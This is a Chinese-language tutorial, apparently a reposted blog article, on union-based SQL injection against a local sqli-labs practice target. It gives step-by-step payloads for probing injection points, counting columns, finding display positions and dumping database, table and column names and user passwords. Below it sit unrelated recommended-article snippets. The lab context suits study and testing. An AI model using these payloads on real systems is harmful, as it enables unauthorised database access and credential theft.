SQL注入之联合查询注入

SQL注入之联合查询注入联合查询注入利用的前提前提条件:页面上有显示位什么是显示位?在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位联合注入的过程1、判断注入点2、判断是整型还是字符型3、判断查询列数4、判断显示位5、获取所有数据库名6、获取数据库(test)所有表名7、获取(数据库:test,表:admin)中所有字段名8、获取字段中的数据一、…

大家好,又见面了,我是你们的朋友全栈君。

联合查询注入利用的前提

前提条件:页面上有显示位


什么是显示位?

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

联合注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名

8、获取字段中的数据

一、判断注入点

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(整形判断) 

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) 

 \ (转义符) 

-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

二、判断是整型还是字符型

输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入

SQL注入之联合查询注入

SQL注入之联合查询注入

输入’ and 1=1 %23和 ‘ and 1=2%23后发现页面变化,判断为字符注入 

为什么输入 1 and 1=1 和 1 and 1=2 能判断是否是整型注入尼?

SQL注入之联合查询注入

在数据库中 1=1 和1=2  后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1=”1dasd”时返回1正确,1=”2dasd”时返回0错误,即select在查询时忽略后面的字符串,只让1和后面第一个数字对比,如果相等就是正确,不相等返回错误。

三、判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数

输入 order by 4%23  发现页面错误,说明没有4列

SQL注入之联合查询注入

输入3列时,页面正常,说明有3列

SQL注入之联合查询注入

四、判断显示位

UNION的作用是将两个select查询结果合并,如下图所示:

SQL注入之联合查询注入

程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

SQL注入之联合查询注入

可以看到将uid改为-1后第二行打印在页面上。

使union前面的语句报错,执行后面的,爆出显示位,2,3

SQL注入之联合查询注入

五、获取所有数据库名

group_concat()一次性显示: 

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

显示当前数据库: databas()

SQL注入之联合查询注入

六、获取表名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3%23

SQL注入之联合查询注入

七、获列名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3%23

SQL注入之联合查询注入

八、获取列中的信息

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23 

用limit控制,一行行得到数据

SQL注入之联合查询注入

SQL注入之联合查询注入

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/143903.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 最新版java安装教程[通俗易懂]

    最新版java安装教程[通俗易懂]提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、官网下载jdk二、环境配置测试前言2021java的新版安装教程:与之前的安装教程相比还是有一些改动的,省去了一些不必要的繁琐的步骤,简洁而又实用。下面是详细的安装教程,只要按照此教程逐步配置,就可以成功安装java环境。一、官网下载jdk到官网https://www.oracle.com/java/technologies/javase-jdk13-downloads.html下载下载完成解压到

    2022年7月8日
    20
  • DWR学习

    DWR学习http getahead ltd uk dwr 这段时间较闲 研究了一番 dwr 发现 dwr 实现的 AJAX 有些地方确实很是先进 比如动态生成 javascript 代码 隐藏的 http 协议 javascript 于 java 代码交互的是 javascript 对象 或字符串 等 以下是我临时译的一些东西 本来想全译 发现 dwr 实在是简单 就随便写了 英文居差 现一把 1 DWR E

    2025年9月12日
    5
  • git命令–切换分支[通俗易懂]

    git命令–切换分支[通俗易懂]>我们在日常开发中,有时需要从github或者gitee上拉取新项目,但是拉取的那个项目可能有很多分支,然后本地拉取后只有一个默认分支(一般是master)。甚至可能只有一个readme.md文件。。 >如果我们想查看远程的其他分支该怎么办呢? **gitbranch**>首先进入项目根目录(有个.git文件的那个目录),执行`gitbranch`命…

    2022年6月20日
    36
  • PostGIS 报错libcrypto[通俗易懂]

    PostGIS 报错libcrypto[通俗易懂]说明在安装完Postgresql以后,打postgis扩展时,报错ERROR:couldnotloadlibrary”/usr/pgsql-12/lib/rtpostgis.so”:/usr/pgsql-12/lib/libpq.so.10:symbolX509_get_signature_nid,versionlibcrypto.so.10notdefinedinfilelibcrypto.so.10withlinktimereference出现问题环境

    2022年6月26日
    59
  • python 根据uuid 获取mac地址

    python 根据uuid 获取mac地址importuuidtry:mac=uuid.UUID(int=uuid.getnode()).hex[-12:]mac_address=’:’.join([mac[e:e+2]foreinrange(0,11,2)])except:mac_address=”print(mac_address)

    2022年8月10日
    39
  • 最受欢迎的8个Python框架,满足你的各类需求「建议收藏」

    最受欢迎的8个Python框架,满足你的各类需求「建议收藏」今天给大家分享几个最受欢迎的Python框架。这些框架包括Web开发,高性能网络通信,测试,爬虫等等,如果你正在学习Python,那么应该可以满足你。1DjangoDjango应该是最出名的Python框架,是一款在数据库功能、后台功能、模板系统、网址匹配、缓存系统等方面有“先天”优势的开源框架。它可以通过几行简单的代码就让你的网站拥有一个强大的后台,轻松管理你的内容;强大,易扩展的模板系统,设计简易,代码,样式分开设计,更容易管理。小编整理的一整套系统的p-ython学习教程从最基础的

    2022年5月10日
    45

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号